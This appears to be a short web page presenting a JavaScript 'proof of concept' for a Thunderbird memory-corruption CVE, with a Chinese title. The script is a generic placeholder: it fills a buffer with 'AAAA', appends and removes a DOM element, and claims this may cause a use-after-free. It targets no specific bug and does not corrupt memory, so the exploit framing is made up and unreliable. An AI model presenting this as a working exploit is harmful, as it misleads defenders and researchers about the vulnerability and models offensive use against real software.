CVE-2026-8093 Mozilla Thunderbird内存破坏漏洞

/** * Conceptual Proof of Concept (PoC) for CVE-2026-8093 * This script demonstrates a generic method to trigger memory corruption * in vulnerable rendering engines by manipulating DOM objects. */ function triggerMemoryCorruption() { // Create a large buffer to potentially trigger an overflow var maliciousBuffer = new ArrayBuffer(0x100000); var view = new Uint32Array(maliciousBuffer); // Fill with pattern for (var i = 0; i < view.length; i++) { view[i] = 0x41414141; // 'AAAA' } // Attempt to trigger the vulnerability by forcing a reflow or GC // (Actual trigger depends on the specific bug in Thunderbird 150.0.1) var div = document.createElement('div'); div.style.width = '100%'; div.appendChild(document.createTextNode(maliciousBuffer)); document.body.appendChild(div); // Force layout calculation var height = div.offsetHeight; // Remove element to potentially trigger UAF document.body.removeChild(div); // Further interaction with freed memory console.log(height); } // Execute triggerMemoryCorruption();